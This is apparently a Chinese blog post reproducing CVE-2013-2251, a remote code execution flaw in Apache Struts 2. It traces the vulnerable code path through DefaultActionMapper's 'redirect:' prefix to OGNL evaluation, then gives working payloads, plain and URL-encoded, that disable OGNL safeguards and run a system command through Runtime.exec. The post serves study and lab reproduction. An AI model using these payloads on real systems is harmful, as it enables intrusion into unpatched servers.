编号为CVE-2013-2251。
在Struts 2框架中,
DefaultActionMapper
类支持以“action:”、“redirect:”、“redirectAction:”作为导航或重定向前缀,这些导航或者前缀后面可以写OGNL表达式。Struts 2并没有对这些前缀进行过滤,所以可以任意执行恶意OGNL表达式以执行系统命令。DefaultActionMapper
类支持“method:”、“action:”、“redirect:”、“redirectAction:”这些方法。
其中“redirect:”和“redirectAction:”为Struts 2默认开启功能。
影响版本:Struts 2.0.0 - Struts 2.3.15。
使用精简版的源码,感谢大佬xhycccc为萌新送温暖。
首先复习一下Struts 2的运行流程:
FilterDispatcher
。这些过滤器一部分是Struts 2自带的,另一部分是用户自定义的。本环境中struts.xml中的package继承自struts-default,即Struts 2自带的拦截器。第一层的ActionContextCleanUp
主要用于清理当前线程的ActionContext
、Dispatcher
。第三层的FilterDispatcher
主要是通过调用ActionMapper
决定需要调用哪个Action
。FilterDispatcher
是控制器的核心(也是MVC中控制层的核心组件)。FilterDispatcher
根据ActionMapper
中的设置决定是否需要调用某个Action
组件来处理当前的HTTPServletRequest
,如果确定需要调用,FilterDispatcher
就会把请求的处理权交给ActionProxy
组件。ActionProxy
组件通过Configuration Manager
组件获取Struts 2框架的配置文件struts.xml,找到需要调用的目标Action
组件类,然后ActionProxy
就能够创建出一个实现了命令模式的Action Invocation
类的实例(这个过程包括调用Action
组件本身之前调用多个拦截器组件的before()
方法)。ActionInvocation
组件通过代理模式调用目标Action
组件,但是在调用前会根据配置文件中的设置项加载与目标Action
相关的所有拦截器组件(即Interceptor
)。Action
组件执行完毕后,Action Invocation
组件将会根据struts.xml配置文件中定义的各个配置项目获得对象的返回结果(这个Action
组件的结果码,如SUCCESS、INPUT),然后根据这个返回结果调用目标.jsp页面进行输出。after()
方法)。然后HTTPServletResponse
返回给最初的三层组件。如果已经设置了ActionContextCleanUp
过滤器,则FilterDispatcher
不会清理ThreadLocal
对象中保存的ActionContext
信息;反之,若没有设置,就会清除掉所有的ThreadLocal
对象。先找到定义前缀的地方。漏洞出现在lib\struts2-core-2.2.3.jar!\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.class,这里是ActionMapper
的实现类。
在lib\struts2-core-2.2.3.jar!\org\apache\struts2\dispatcher\FilterDispatcher.class找到doFilter()
方法。该方法先进行基础性操作:创建值栈、上下文、包装request等。然后到173行执行actionMapper.getMapping()
。
进入这个getMapping()
方法。首先创建一个ActionMapping
,然后对请求URL进行处理,解析对应的Action
配置信息,比如去掉请求的URL后缀(调用dropExtension()
把/index.action变成/index),继续执行到159行进入handleSpecialParameters()
方法。
handleSpecialParameter()
方法首先获取请求的参数对象,然后遍历这个对象,如果参数名有以.x或者.y结尾的,会被去掉,然后进入200行的parameterAction.execute()
方法。
进入这个execute()
方法。第73行中,redirect.setLocation()
方法提取"redirect:"
后面的部分作为location
,此时Payload就会进入location
参数,终于出现了初步的注入。
回到doFilter()
方法,继续向下,193行进入serviceAction()
方法。
serviceAction()
方法先获取Configuration
对象,然后通过Configuration
得到容器对象,再从容器对象获取工厂类ActionProxyFactory
创建动态代理ActionProxy
,在381行进入execute()
方法。
进入父方法execute()
:
遇到了conditionalParse()
,用于处理跳转地址location
,会判断是否含有OGNL表达式,若有则执行。
conditionalParse()
必然含有TextParseUtil.translateVariables()
,最终通过其中的stack.findValue()
执行了OGNL。
这两个方法的利用在Struts 2系列漏洞中被多次使用。
攻击机:192.168.0.106,靶机:192.168.0.108。
首页其实就是/index.action,之前版本似乎还会注明有/default.action。先通过BurpSuite传入测试,与先前一样,采用URL编码迎合系统解析特性。
Payload:
?redirect:%{233*7}
?redirect:%25%7B233*7%7D
因为是redirect
,上传后会得到302,跟随跳转发现请求URL变成了OGNL表达式结果。
Payload(ls /tmp):
${#context[‘xwork.MethodAccessor.denyMethodExecution‘]=false,#f=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess‘),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls /tmp‘).getInputStream())}
%24%7B%23context%5B‘xwork.MethodAccessor.denyMethodExecution‘%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess‘)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(‘ls%20%2Ftmp‘).getInputStream())%7D
任意命令执行达成!
[CVE-2013-2251] Apache Struts 2远程代码执行漏洞复现(第四弹)
原文:https://www.cnblogs.com/4thrun/p/15168404.html